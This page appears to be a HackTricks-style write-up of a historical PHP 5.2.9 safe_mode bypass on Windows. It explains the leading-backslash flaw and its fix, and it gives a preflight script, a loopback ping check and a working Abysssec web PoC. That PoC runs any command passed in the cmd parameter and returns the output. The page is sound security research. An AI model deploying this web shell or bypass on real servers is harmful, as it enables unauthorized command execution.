// HackTricks · Network Services

PHP <= 5.2.9 Safe Mode Bypass on Windows

PHP <= 5.2.9 Safe Mode Bypass on Windows

This is a historical proof of concept for a Windows-specific safe_mode bypass reported against PHP 5.2.9 and earlier. Prefixing a command with a backslash could confuse the old safe-mode command-path construction and still leave Windows with an executable command. PHP tracked the flaw as bug #45997 and fixed it in the PHP 5.2.10 code line.[3][4]

This is not a generic disable_functions bypass. PHP removed safe_mode in version 5.4.0, and all affected PHP releases are obsolete. Keep the example only for legacy research environments.[2]

[!WARNING] The proof of concept executes the cmd request parameter as an operating-system command. Run it only in an isolated, disposable lab.

Preconditions and triage

The primitive is narrowly scoped; check the environment before trying the file-backed PoC:[3][4]

  • The target must be a Windows PHP build from the affected legacy line (PHP 5.2.9 or earlier).
  • safe_mode must be enabled. The known primitive assumes safe_mode_exec_dir is empty or otherwise does not rewrite the command into a valid allowed executable.
  • At least one affected entry point—exec(), system(), or passthru()—must still be callable. If exec is also present in disable_functions, the PoC below cannot reach the vulnerable logic.
  • The attacker must already be able to execute PHP. The batch-file variant additionally needs a writable current directory, and the child process only receives the web-server account’s Windows permissions.

A compact PHP 5.2-compatible preflight is:

<?php
var_dump(PHP_OS, PHP_VERSION);
var_dump(ini_get('safe_mode'), ini_get('safe_mode_exec_dir'));
var_dump(ini_get('disable_functions'));
?>

Why the leading backslash works

In the vulnerable php_exec() path, PHP split the executable from its arguments, rejected .., found the last platform directory separator, and then combined that suffix with safe_mode_exec_dir. If the command began with \, the separator pointer was the start of the string; with an empty execution directory, the command therefore reached the Windows process launcher as \command. The PHP 5.2.10 fix explicitly rejects this case when the first byte is a backslash and returns Invalid absolute path. instead.[3][4]

The shared code path explains why the primary report names exec(), system(), and passthru(). Do not automatically extend the claim to every process API.[3][4]

Minimal verification

The original PHP report used ping. Point it at loopback and request one packet for a self-contained check from a Windows command prompt in a disposable PHP 5.2 lab:[3]

php -n -d safe_mode=on -d safe_mode_exec_dir= -r "exec('\ping -n 1 127.0.0.1', $out, $rc); var_dump($rc, $out);"

On an affected build, the leading-backslash form executes under the current PHP/web-server identity. On PHP 5.2.10, it should fail with the new invalid-path warning. An empty result on an old build is not automatically proof of patching: first check disable_functions, safe_mode_exec_dir, PATH, and the service account’s process-creation permissions.[3][4]

File-backed web PoC

The following Abysssec variant creates a batch file, starts it through the same leading-backslash primitive, and reads redirected output from disk.[1]

exploit.php

<?php
// Historical Abysssec proof of concept; use only in an isolated legacy lab.
$cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';

if ($cmd !== '') {
    $batch = fopen('cmd.bat', 'w');
    fwrite($batch, $cmd . '>abysssec.txt 2>&1' . "\r\n");
    fwrite($batch, 'exit' . "\r\n");
    fclose($batch);

    exec('\start cmd.bat');
    $output = file_exists('abysssec.txt') ? file_get_contents('abysssec.txt') : '';
    echo '<h1>PHP &lt;= 5.2.9 safe-mode bypass</h1>';
    echo '<textarea rows="20" cols="60">';
    echo htmlspecialchars($output, ENT_QUOTES, 'UTF-8');
    echo '</textarea>';
}
?>

<form method="post">
    <input type="text" name="cmd">
    <input type="submit" value="Run command">
</form>

cmd.bat

The PHP proof of concept creates this batch file dynamically. For a standalone lab test, its equivalent contents are:

dir > abysssec.txt 2>&1
exit

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.